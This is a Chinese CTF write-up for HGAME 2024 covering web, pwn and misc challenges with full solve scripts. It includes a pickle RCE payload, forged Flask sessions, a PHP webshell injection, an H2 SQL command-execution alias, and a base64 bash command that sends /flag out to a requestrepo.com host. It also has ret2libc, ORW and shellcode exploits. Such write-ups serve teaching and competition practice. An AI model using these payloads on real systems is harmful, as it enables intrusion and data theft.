HGAME 2024 week wp


web第一周

2048*16

发现V+疑似码表特征,

Bypass it

禁用js前端代码进行注册即可

Select More Courses

后端逻辑是每间隔 30s-180s 放出⼀⻔课,若 5s 内没有选到
课程,则课程⼜会满员
持续爆破即可

jhat

找到oql注入

JVM 对象查询语言(OQL)-CSDN博客

payload

web第二周

myflask

一个伪造session,题目已经给了爆破提示,根据靶场启动实例估测时间,进行爆破,时间格式为

现在20点18分30秒---->201830

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")

       给出爆破脚本flask-session(python3可运行)

import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else:  # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e

if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                               help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                               help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if (args.subcommand == 'encode'):
        if (args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif (args.subcommand == 'decode'):
        if (args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value, args.secret_key))
        elif (args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

根据脚本写出爆破


import subprocess

for i in range(201800,202300):
    command ="python flask_session_cookie_manager3.py  decode -c " \
             "'eyJ1c2VybmFtZSI6Imd1ZXN0In0.Zc4BsQ.0S2cnvXJthtacwRjNHS3uCE2OXQ' -s" + str(i)
    # 使用 subprocess.run 执行命令并捕获输出
    result = subprocess.run(command, capture_output=True, text=True, shell=True)

        # 输出命令的标准输出结果
    print("标准输出:"+command)
    if '{'in result.stdout:
        print(result.stdout)
    else:
        "no"

拿到密钥201839

验证成功后,看到传输pickledata(这里我一直只看到reques.get以为是get传参,比赛结束看到别人的wp才发现是post...,以为有过滤试了半天)

这里没有任何过滤,就是可能没有os包,所以采用

import pickle
import base64
import os

class Email():

	def __reduce__(self):
		return (exec,("raise Exception(__import__('os').popen('ls /').read())",))

def login():
	poc = base64.b64encode(pickle.dumps(Email()))
	print(poc)
login()

拿到shell

Select More Courses

一个时间竞争题目,思路应该是点击拓展学分给了英文,意思是对抗时间,有机会完成增加学分上限,同时burp打开就可以了

给出官方wp脚本

1 import requests
2 import threading
3
4 def send_request():
5 url = "http://47.102.130.35:30234/api/expand"
6 headers = {
7 "Host": "47.102.130.35:30234",
8 "Connection": "keep-alive",
9 "Content-Length": "23",
10 "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
11 "Content-Type": "application/json",
12 "Accept": "*/*",
13 "Origin": "http://47.102.130.35:30234",
14 "Referer": "http://47.102.130.35:30234/expand",
15 "Accept-Encoding": "gzip, deflate",
16 "Accept-Language": "zh-CN,zh;q=0.9",
17 "Cookie":
"session=MTcwNzEwNzQzM3xEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZF
hObGNtNWhiV1VHYzNSeWFXNW5EQW9BQ0cxaE5XaHlNREJ0fHOdF2Z4AqqV3oV6z2EPpM2zyz1UOPBTt
u69oB8qnaWM"
18 }
19 payload = {"username": "ma5hr00m"}
20
21 while True:
22 try:
23 response = requests.post(url, headers=headers, json=payload)
24 print(f"Response: {response.status_code}")
25 except requests.exceptions.RequestException as e:
26 print(f"Error: {e}")
27
28 # 创建50个线程并发发送请求
29 threads = []
30 for _ in range(50):
31 thread = threading.Thread(target=send_request)
32 thread.start()
33 threads.append(thread)
34
35 # 等待所有线程完成
36 for thread in threads:
37 thread.join()

What the cow say?

看到这个牛就想到了之前做过的题目,并且尝试sstl注入无果,这题应该取自niectf

有兴趣的人可以去看看

https://github.com/satoki/ctf_writeups/blob/master/niteCTF_2023/caas_renewed/README.md

`

当然这里没法用;进行绕过,再用了些发现flag和cat什么的过滤了,最后采用

`nl /f*/f*`

search4member

尝试万能密码

数据库名为H2

a' union select 1,database(),3 --+

原想如法炮制,但后门发现没有flag的踪影,就想到尝试写文件木马,发现也没用

a' union select 1,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php",3 --+

后来知道是H2数据库有个rce漏洞什么的。

直接利用

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

这里还有就是要采用堆叠注入方式,不然直接跟上面一样会有点问题不知道为啥,可能我有语法问题,堆叠这种格式不会未响应

构造pyaload,先创造一个shellexec函数,然后利用函数进行rce,传输命令因为有字符问题所以就用base编码方便点。

//这个总的来说就是创建一个数据库函数 SHELLEXEC 
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;
a';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5uMmdseGhtMi5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+

拿到外带flag(反弹shell貌似没有权限无效)

梅开二度

题目这么说大概率像是要拿xss来做,有点像ctfshow的bot点击连接发送cookie过来。

 剩下的持续

更新稍等。。。。

pwn第一周

ezshellcode

发现设立v5为可执行写入区,v4是输入shellcode长度,但限制10一下,明显这里要利用一个新知识点---整数溢出

再看myread函数,对输入字符有限制,要为可视化字符,所以网上寻找,或者使用alpha3工具编码生成

给出脚本

from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
#p = process('./ezshellcode')
p=remote("106.14.57.14",31293)
p.sendlineafter("input the length of your shellcode:",b'-1')
shellcode=b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H\
0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1\
n0J0h0a070t"
p.sendafter("input your shellcode:",shellcode)
p.interactive()

Elden Random

整体可以拆解成两部分难点,前面是先输入一个疑似泄露格式化字符串,然后预测随机数。

后门是myread函数明显就是栈溢出经典问题,留下足够的字节数溢出。

我们先解决while循环里面的随机数预测问题。

这里有两种方法:一种题目已经给了libc文件,我们根据文件生成同样的随机数种子进行提前预测

libc = cdll.LoadLibrary('libc.so.6')
libc.srand(0)

生成

第二种方法是利用一开始给的read

  read(0, buf, 0x12uLL);
  printf("I see,%s", buf);

发现buf存入数据可以覆盖seed的数据,所以我们尝试输入指定数据这样也能提前预测种子数据

所以现在我们绕过了随机数验证后再来利用myread函数

 return read(0, buf, 0x100uLL);

用shift+F12没有发现有后门函数提示,所以这里是我们得自己利用libc进行泄露得到,这里就要利用系统有的输出函数puts来进行泄露

payload=b'a'*0x38
payload+=p64(pop_rdi_ret) #rdi储存第一个参数,这里是清空返回指令。
payload+=p64(puts_got)    #存储参数
payload+=p64(puts_plt)    #返回参数
payload+=p64(myread)      #puts_plt的返回参数 

这里就再次进行一次读取,这时候已经可以接收到puts的真实地址进行构造

libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
payload=b'a'*0x38
payload+=p64(ret) //这里加ret的原因是为了栈平衡,不懂去搜索一下,64位system执行需要的
payload+=p64(pop_rdi_ret)
payload+=p64(libc_base+next(libc.search(b'/bin/sh')))
payload+=p64(libc_base+libc.sym['system'])

仔细理解一下,给出完整脚本

from pwn import *
import ctypes
context(os='linux',arch='amd64',log_level='debug')
#p=process("./vuln")
p=remote('47.xxx.xxx.xx',端口)
libc=ELF("./libc.so.6")
elf=ELF("./vuln")
def bug():
          gdb.attach(p)
          pause()
rdi=0x0000000000401423 
read=0x40125D 
a=[84,87,78,16,94,36,87,93,50,22,63,28,91,60,64,27,41,27,73,37,12,69,68,30,83,31,63,24,68,36,30,3,23,59,70,68,94,57,12,43,30,74,22,20,85,38,99,25,16,71,14,27,92,81,57,74,63,71,97,82,6,26,85,28,37,6,47,30,14,58,25,96,83,46,15,68,35,65,44,51,88,9,77,79,89,85,4,52,55,100,33,61,77,69,40,13,27,87,95]      
p.recvuntil("Menlina: Well tarnished, tell me thy name.")
pay=b'\x00'*(0x12)
p.send(pay)
#bug()
for i in range(len(a)):
    p.recvuntil("Please guess the number:\n")
    p.send(p32(a[i]))
 
    
p.recvuntil("Here's a reward to thy brilliant mind.")
payload1=b'a'*(0x30+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(read)
p.sendline(payload1)
 
 
libc_base =u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
payload2=b'a'*(0x30+8)+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)
p.sendline(payload2)
p.interactive()

[HGAME1] Elden Ring Ⅰ

这题难度提升较高,先讲解一下整体思路

拿到题目先检查保护有个数,是否NX保护开启能把shellcode写在栈上,有没有canary会限制栈溢出,pie有没有开都要脑海里有对应的方法解决。

这里我们看到几乎没有保护

再看反编译diamagnetic,看到seccomp函数就知道考沙盒

ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,都是用orw进行攻击

再往下看vuln函数发现可写的地方还算多,尝试泄露一下puts函数的地址来拿libc。

如果看到这你还不知道怎么泄露,那回到前面仔细研究下retlibc吧,这里讲下pop_rdi_ret怎么来的

下载ROPgadget工具

单个泄露脚本,建议本地打会系统点,可以看内部调用

from ctypes import cdll
from pwn import *
elf=ELF('vuln')
offset=0x108
p=remote("139.196.183.57",31020)
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")
# p=process("./vuln")
elf = ELF("./vuln")
# def bug():
# gdb.attach(p)
# pause()
pop_rdi_ret=0x00004013e3
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x40125B
payload = cyclic(offset)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.recvuntil(b"Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n")
p.send(payload)
# leek libc_base================================================
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

这样我们就可以构造system('bin/sh')了,但有个问题就是题目是开启了沙盒的,限制了使用所以我们并不能通过常规的one_gadget和system调用来得到flag,采用orw来注入。

seccomp-tools dump ./文件名

这里头同样有两种方法进行,第一种直接构造orw读取

使用orw,我们需要先调用open函数打开根目录flag文件,再调用read函数从中读入得到的flag,最后调用write函数将flag打印出来

给出思路一脚本

from pwn import *
import os

context(log_level='debug',arch='amd64',os='linux')
p = remote("127.0.0.1", 9999)
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x40125B
rdi_addr = 0x00000000004013e3
puts_offset = 0x84420
leave_addr = 0x0000000000401290
bss_addr = 0x404090

# Leak libc
payload1 = b'A' * 0x108
payload1 += p64(rdi_addr)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(main_addr)
payload1 = payload1.ljust(0x130, b'\x00')

p.sendafter("accord.", payload1)
p.recv()
puts_addr = u64(p.recv(6) + b'\x00'*2)
libc_addr = puts_addr - puts_offset
print("libc_base =", hex(libc_addr))

# Offsets in libc
pop_rax_ret = 0x36174 + libc_addr
pop_rsi_ret = 0x2601f + libc_addr
pop_rdx_r12_ret = 0x119211 + libc_addr
syscall_ret = 0x630a9 + libc_addr
open_addr = libc_addr + libc.sym["open"]
read_addr = libc_addr + libc.sym["read"]
write_addr = libc_addr + libc.sym["write"]

# Set up stack for the basic orw
payload = b'a' * 0x100
payload += p64(bss_addr-0x8)
payload += p64(pop_rax_ret)
payload += p64(bss_addr)
payload += p64(0x401282)
payload += p64(0) * 2
p.sendafter("accord.", payload)
sleep(0.01)

# Perform the basic orw
payload = p64(rdi_addr)
payload += p64(0x404138)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(open_addr)

payload += p64(rdi_addr)
payload += p64(3)
payload += p64(pop_rsi_ret)
payload += p64(0x404140)
payload += p64(pop_rdx_r12_ret)
payload += p64(0x100)
payload += p64(0)
payload += p64(read_addr)

payload += p64(rdi_addr)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(0x404140)
payload += p64(pop_rdx_r12_ret)
payload += p64(0x100)
payload += p64(0)
payload += p64(write_addr)
payload += b'flag\x00\x00\x00\x00'
payload += p64(0) * 16

p.send(payload)

p.interactive()

第二种方法是使用asm工具直接生成汇编代码,但这种方法需要调用mprotect函数去修改bss段权限去执行asm生成的汇编代码。

给出不同部分代码

pay=b'a'*0x28
pay += p64(rdi)
pay += p64(0x404000)
pay += p64(rsi)
pay += p64(0x1000)
pay += p64(rdx_r12)
pay += p64(7)*2
pay += p64(mprotect)
pay += p64(bss+0x28+0x48)
pay += asm(shellcraft.open("/flag"))
pay += asm(shellcraft.read(3,bss+0x500,0x100))
pay += asm(shellcraft.write(1,bss+0x500,0x100))
 
p.send(pay)
 
p.interactive()

总结:总体利用就是libc泄露+orw读取,以及考察了存储第一个,第二个,第三个参数的寄存器使用。

EzSignIn

不用说。。

ezfmt string

不能匹配到p和s,说明常规%p不可以用.

看了别的师傅的,看不懂。。。

from pwn import *
 
elf = ELF('./vuln4')
context(arch='amd64', log_level='debug')
 
#p = process('./vuln4')
p = remote('47.100.137.175', 30198)
#gdb.attach(p, "b*0x401316\nc")
 
v2 = 0x401245&0xffff
pay = f"%{v2}c%18$hn".ljust(0x40,'.').encode()+b'\x38'  #覆盖尾字节形成指向ret的指针,1/16爆破
 
p.send(pay)
sleep(0.2)
p.sendline(b"cat flag")
p.interactive()

pwn第二周

1 from pwn import*
2 #p=process("./vuln")
3 p=remote("47.100.137.175",31301)
4 #p=remote("127.0.0.1",9999)
5 context(log_level='debug',arch='amd64',os='linux')
6
7 #gdb.attach(p)
8 shellcode1='''
9 shl edi,12
10 mov dx, 0x7
11 mov ax, 10
12 syscall
13 cdq
14 mov esi, edi
15 xor edi, edi
16 xor eax, eax
17 syscall
18 '''
19
20 p.send(asm(shellcode1))
21
22 #basic orw shellcode
23 shellcode_orw = asm('''
24 push 0x67616c66
25 mov rdi,rsp
26 xor esi,esi
27 push 2
28 pop rax
29 syscall
30 mov rdi,rax
31 mov rsi,rsp
32 mov edx,0x100
33 xor eax,eax
34 syscall
35 mov edi,1
36 mov rsi,rsp
37 push 1
 pop rax
 syscall
''')
p.sendline(b'\x90'*0xff+asm("shl rsp, 12; add rsp, 0x500;")+shellcode_orw)

p.interactive()

misc第二周

ezWord

附件下载下来是一个word文档,很明显里面有东西,把后缀改为zip可以看到内容

但这有个疑点就是我放进kali进行foremost出来只有一个txt加密文件。但实际应该是下面四个

两张图片打开发现相似有可能是

1.盲水印

2.异或

两种都试了没用,后来发现是python的一种加密,要用可以拿到图片里面有key

GitHub - Byxs20/PuzzleSolver: 一款针对CTF竞赛MISC的工具~

拿到key后打开文件,看不懂翻译了下是一封信但不知道讲什么

废话信件加解密网站

解密拿到一堆乱码

籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆

再去解码Unicode To Code Point · 开发者工具箱

还是没有找到明显规律,但看每个数前三个都相同,再看最后两位基本都在一个区间,发现前几个数对应是hgame字母相差的大小个数,构造脚本

numbers = [57, 56, 50, 62, 54, 76, 1, 60, 48, 74, 64, 70, 48, 68, 1, 61, 71, 54, 48, 50, 61, 2, 48, 69, 57, 4, 48, 68, 54, 52, 67, 4, 69, 78]

ascii_text = ""

for num in numbers:
    ascii_char = chr(num - 50 + ord('a'))
    ascii_text += ascii_char

print(ascii_text)

得到flag

hgame{0k_you_s0lve_al1_th3_secr3t}

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值